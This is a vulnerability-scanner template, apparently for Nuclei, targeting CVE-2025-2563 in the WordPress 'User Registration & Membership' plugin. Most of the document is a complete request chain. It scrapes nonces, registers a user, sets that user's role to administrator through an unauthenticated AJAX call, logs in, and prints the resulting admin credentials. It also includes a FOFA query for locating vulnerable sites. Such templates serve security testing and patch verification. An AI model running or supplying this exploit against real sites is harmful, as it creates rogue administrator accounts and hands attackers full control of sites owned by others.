id: CVE-2025-2563

info:
  name: User Registration & Membership <= 4.1.1 - Unauthenticated Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The User Registration & Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.
  remediation: |
    Update to User Registration & Membership plugin version 4.1.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
    - https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2563
  classification:
    epss-score: 0.84116
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-269
    cve-id: CVE-2025-2563
  metadata:
    verified: true
    max-request: 6
    fofa-query: body="/wp-content/plugins/user-registration"
  tags: cve,cve2025,wp,wordpress,wp-plugin,user-registration,privilege-escalation

variables:
  username: "{{randbase(8)}}"
  email: "{{username}}@oast.fun"
  password: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /membership-registration/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        regex:
          - '"user_registration_form_data_save":"(.*?)"'
        internal: true

      - type: regex
        part: body
        name: formid
        group: 1
        regex:
          - "id='user-registration-form-([0-9]+)'>"
        internal: true

      - type: regex
        part: body
        name: memberfieldval
        group: 1
        regex:
          - 'id="ur-membership-select-membership-([0-9]+)+'
        internal: true

      - type: regex
        part: body
        name: memberfieldname
        group: 1
        regex:
          - 'data-field-id="membership_field_([0-9]+)"'
        internal: true

      - type: regex
        part: body
        name: frontend_nonce
        group: 1
        regex:
          - 'name="ur_frontend_form_nonce" value="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: localized_frontend_nonce
        group: 1
        regex:
          - 'ur_membership_frontend_localized_data = {"_nonce":"(.*?)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=user_registration_user_form_submit&security={{nonce}}&form_data=%5B%7B%22field_name%22%3A%22user_login%22%2C%22value%22%3A%22{{username}}%22%2C%22field_type%22%3A%22text%22%2C%22label%22%3A%22Username%22%7D%2C%7B%22field_name%22%3A%22user_email%22%2C%22value%22%3A%22{{email}}%22%2C%22field_type%22%3A%22email%22%2C%22label%22%3A%22User+Email%22%7D%2C%7B%22field_name%22%3A%22user_pass%22%2C%22value%22%3A%22{{password}}%22%2C%22field_type%22%3A%22password%22%2C%22label%22%3A%22User+Password%22%7D%2C%7B%22field_name%22%3A%22user_confirm_password%22%2C%22value%22%3A%22{{password}}%22%2C%22field_type%22%3A%22password%22%2C%22label%22%3A%22Confirm+Password%22%7D%2C%7B%22value%22%3A%22{{memberfieldval}}%22%2C%22field_type%22%3A%22radio%22%2C%22label%22%3A%22membership%22%2C%22field_name%22%3A%22membership_field_{{memberfieldname}}%22%7D%5D&form_id={{formid}}&registration_language=en-US&ur_frontend_form_nonce={{frontend_nonce}}&is_membership_active={{memberfieldval}}&membership_type={{memberfieldval}}

    matchers:
      - type: word
        part: body
        words:
          - 'success_message_positon'
          - '{{username}}'
          - '"success":true'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=user_registration_membership_register_member&security={{localized_frontend_nonce}}&members_data={"membership":"1","payment_method":"free","start_date":"2025-3-29","username":"{{username}}","role":"administrator"}

    matchers:
      - type: word
        part: body
        words:
          - 'New member has been successfully created.'
          - 'member_id'
          - '"success":true'
        condition: and
        internal: true

  - raw:
      - |
        GET /login/  HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: login_nonce
        group: 1
        regex:
          - 'user-registration-login-nonce" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /login/  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&login=Login&user-registration-login-nonce={{login_nonce}}

      - |
        GET /wp-admin/users.php?role=administrator HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'Howdy,'
          - '>Select {{username}}<'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + " Password: " + password'
# digest: 4b0a00483046022100b96ec2595f54859ade53f75f7f21983364e877e0081cc902897eedd8384f8124022100ed4b5c25cf9d47991d1833799f5878773b735e99c363df14e1c2d91821c6835a:922c64590222798bb761d5b6d8e72950